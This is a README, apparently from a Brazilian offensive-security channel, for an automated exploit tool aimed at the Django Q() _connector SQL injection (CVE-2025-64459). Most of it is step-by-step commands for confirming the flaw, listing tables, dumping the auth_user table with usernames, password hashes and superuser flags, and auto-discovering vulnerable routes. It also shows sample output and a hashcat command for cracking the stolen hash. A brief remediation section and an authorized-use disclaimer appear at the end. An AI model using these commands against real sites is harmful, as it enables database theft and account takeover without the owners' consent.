
NEO-SQLi — Exploit für Django _connector SQL Injection (CVE-2025-64459) | Kanal RedTeam Brasil
Automatisierte Ausnutzung von SQL Injection im Django-ORM
Q-Objekt _connector · CVE-2025-64459
🎥 Kanal RedTeam Brasil — offensive Security, praktisch, auf Portugiesisch.
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ canal RedTeam Brasil
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ uso autorizado apenas
Das Django-ORM baut Filter mit Q()-Objekten. Der Konstruktor
Q(*args, _connector=None, _negated=False, **kwargs) akzeptiert das spezielle Kwarg
_connector — die Zeichenkette (AND/OR), die die Bedingungen innerhalb des WHERE verbindet.
In den betroffenen Versionen wurde dieser Wert nicht bereinigt und ging roh in die SQL.
Wenn die Anwendung Benutzereingaben direkt an Q() / .filter() /
.exclude() / .get() über die Dict-Expansion weitergibt — das klassische Anti-Pattern:
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET)) # ou .filter(**request.GET)
…kontrolliert der Angreifer _connector und injiziert beliebige SQL zwischen den Bedingungen
(gilt für SQLite, PostgreSQL, MySQL, etc.).
| Element | Detail |
|---|---|
| CVE | CVE-2025-64459 |
| Komponente | django.db.models — Q() / QuerySet (_connector und Spaltenaliase) |
| Betroffene Versionen | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| Behebung | Update auf 4.2.26 / 5.1.14 / 5.2.8 (oder neuer) |
| Auswirkung | beliebiges Lesen der Datenbank (UNION/blind) → Dump von Zugangsdaten und Eskalation der Angriffskette |
Mit
DEBUG = Truewird die Ausnutzung trivial: Die Django-Fehlerseite gibt die zusammengesetzte SQL, die Basistabelle und die Anzahl der Spalten zurück — genau das, was das Tool verwendet, um das UNION automatisch zu bauen.
Generischer Explorer (nicht an ein Ziel gebunden) und automatisiert:
--auto): Crawl der Homepage + robots/sitemap + eingebaute Wordlist, testet jede Route über den Django-FieldError.DEBUG=True über FieldError.--proxy) und HTTPS-Ziele.git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check
# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables
# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user
# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"
# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users
# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"
# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell
# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell # descobre e já explora
Mit
--auto(oder dem Unterbefehlauto) crawlt es die Homepage +robots.txt/sitemap.xmlund nutzt eine eingebaute Wordlist mit Listing-/Such-Routen (EN + PT-BR + APIs), wobei diejenigen markiert werden, die einen Django-FieldErrorzurückgeben. Wenn Sie einen falschen--pathübergeben, wechselt es automatisch in den Erkennungsmodus.
| Flag | Zweck |
|---|---|
--path /buscar | verwundbarer Endpoint (Standard /list) |
--auto | findet den Endpoint selbst (Crawl + Wordlist) |
--wordlist rotas.txt | zusätzliche Routen für die Erkennung (1 pro Zeile) |
--base app_model | erzwingt die Basistabelle (falls die Auto-Erkennung fehlschlägt) |
--proxy http://127.0.0.1:8080 | leitet alles über Burp / mitmproxy |
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users
# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model> · colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
Mit dem Superuser-Hash in der Hand:
hashcat -m 10000 hash.txt rockyou.txt # Django usa pbkdf2_sha256
request.GET niemals direkt an Q()/.filter() weitergeben. Allow-Liste verwenden:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False in Produktion (keine SQL/Tabellen/Settings leaken).Reines Lehr-Tool und nur für autorisierte Tests (Labs, CTFs, Bug-Bounty im Rahmen, beauftragtes Pentesting). Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist strafbar — du trägst die alleinige Verantwortung.
Erstellt vom RedTeam Brasil · Hat es dir gefallen? Hinterlass ein Like und abonniere den Kanal.